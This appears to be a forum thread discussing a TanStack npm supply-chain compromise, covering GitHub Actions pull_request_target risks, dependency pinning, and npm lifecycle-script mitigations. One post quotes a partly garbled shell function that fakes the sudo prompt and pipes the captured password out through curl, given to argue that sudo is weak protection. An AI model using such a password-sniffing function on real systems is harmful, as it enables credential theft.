Postmortem: TanStack NPM supply-chain compromise

Post by user34283 » Tue, May 12, 2026, 7:59 AM UTC

ssanderson11235 wrote: post #182

827a wrote: post #167

Am I understanding this attack vector correctly: Did tanstack have anything misconfigured on their github or make any mistakes that led to this happening? This is the second time, at least, the github actions cache has been seemingly detrimental to massive and widespread supply chain compromise; what is going on over there?

The fundamental mistake here seems to have been not fully understanding the threat model of the pull_request_target action trigger. pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissio…

Post by chickensong » Tue, May 12, 2026, 8:00 AM UTC

nine_k wrote: post #26

devttyeu wrote: post #19

Earlier quoted context omitted.

Cargo is spiritually based on NPM so it's not much better. Go Get is closer to always locking dependencies unless you explicitly upgrade them with a go get, so it's much much better in my view. Yes, you can lock deps in NPM/Cargo/etc. but that's not the default. It is the default in Go. In Go projects my policy for upgrading dependencies includes running full AI audit of all code changed across all dependencies, come…

> comes out to ~$200 in tokens every time BTW a curated mirror of packages, where every package is guaranteed to have been analyzed and tested, could be an easy sell now. Also relatively easy to create, with the help of AI. A $200 every time is less pleasant than, say, $100/mo for the entire org. Docker does something vaguely similar for Docker images, for free though.

Post by 63stack » Tue, May 12, 2026, 8:05 AM UTC

postalcoder wrote: post #132

Wow. Another huge package got compromised. I'm going to repost my PSA[0][1] that I posted after Axios and LiteLLM were compromised. The bit about lifecycle scripts apply too: PSA: npm/bun/pnpm/uv now all support setting a minimum release age for packages. I also have `ignore-scripts=true` in my ~/.npmrc. Based on the analysis, that alone would have mitigated the vulnerability. bun and pnpm do not execute lifecycle sc…

Post by DonHopkins » Tue, May 12, 2026, 8:08 AM UTC

lrvick wrote: post #179

eqvinox wrote: post #158

Earlier quoted context omitted.

[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

Post by DonHopkins » Tue, May 12, 2026, 8:11 AM UTC

sinsudo wrote: post #295

mort96 wrote: post #290

Earlier quoted context omitted.

Yes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'. Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the…

The real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis